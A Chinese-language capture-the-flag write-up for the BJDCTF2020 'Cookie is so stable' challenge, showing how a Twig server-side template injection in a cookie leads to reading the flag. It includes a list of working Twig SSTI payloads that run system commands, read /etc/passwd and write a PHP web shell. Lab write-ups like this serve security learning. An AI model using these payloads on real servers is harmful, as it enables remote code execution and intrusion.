[BJDCTF2020]Cookie is so stable-1|SSTI注入

1、打開之後在各個介面查看源程式碼,未發現很明顯的有用資訊,僅發現了提示,結果如下:

2、嘗試輸入數據,結果就是輸入什麼就回顯什麼,也未進行過濾,嘗試進行sql注入失敗,結果如下:

3、那就根據提示抓包查看下cookie資訊,結果如下:

4、sql注入失敗,這裡想到了ssti注入,那就進行ssti注入測試,payload:{{2*2}},結果如下:

5、確定了ssti注入之後,該如何選擇ssti注入方式呢,觀察抓取的數據包中存在關於服務端的關鍵資訊,結果如下:

6、確定服務端的語言之後,範圍就很小了,補充下各種語言發生ssti注入的模板,如下:

python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp

 7、確定此處產生ssti注入的模板可以為smarty、twig等,那就一個一個嘗試,這裡就直接使用twig模板的注入方式進行注入了,payload:{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}},結果如下:

twig常用的注入payload:

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

這裡附上另外一道ssti注入題的解析方式://www.cnblogs.com/upfine/p/16500169.html

ssti注入模板參考文章://t.zoukankan.com/bmjoker-p-13508538.html